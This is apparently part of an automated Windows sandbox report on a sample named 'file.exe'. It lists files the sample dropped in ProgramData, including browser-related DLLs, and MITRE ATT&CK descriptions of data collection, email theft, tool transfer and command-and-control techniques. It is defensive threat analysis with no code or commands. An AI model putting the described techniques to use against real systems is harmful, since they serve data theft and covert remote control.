C:\ProgramData\BKECFIIEHCFHIECAFBAK

C:\ProgramData\DGHCBAAE

C:\ProgramData\EHCAEGDHJKFHJKFIJKJEGHIEBF

C:\ProgramData\KEHCGCGCFHIDBFHIIJKJ

C:\ProgramData\KFHJJDHJEGHJKECBGCFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre